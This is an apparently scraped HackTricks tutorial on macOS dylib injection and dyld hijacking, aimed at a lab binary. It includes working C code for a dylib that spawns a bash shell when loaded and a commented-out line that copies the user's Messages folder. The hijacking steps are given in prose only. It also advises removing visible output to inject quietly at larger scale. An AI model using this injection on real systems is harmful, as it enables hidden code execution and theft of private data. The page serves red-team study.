macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
DYLD_INSERT_LIBRARIES Basic example
Library to inject to execute a shell:
// gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}Binary to attack:
Injection:
Dyld Hijacking Example
The targeted vulnerable binary is /Applications/VulnDyld.app/Contents/Resources/lib/binary.
With the previous info we know that it's not checking the signature of the loaded libraries and it's trying to load a library from:
/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib
However, the first one doesn't exist:
So, it's possible to hijack it! Create a library that executes some arbitrary code and exports the same functionalities as the legit library by reexporting it. And remember to compile it with the expected versions:
Compile it:
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
Finally just copy it to the hijacked location:
And execute the binary and check the library was loaded:
Bigger Scale
If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the /bin/bash execution).
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Last updated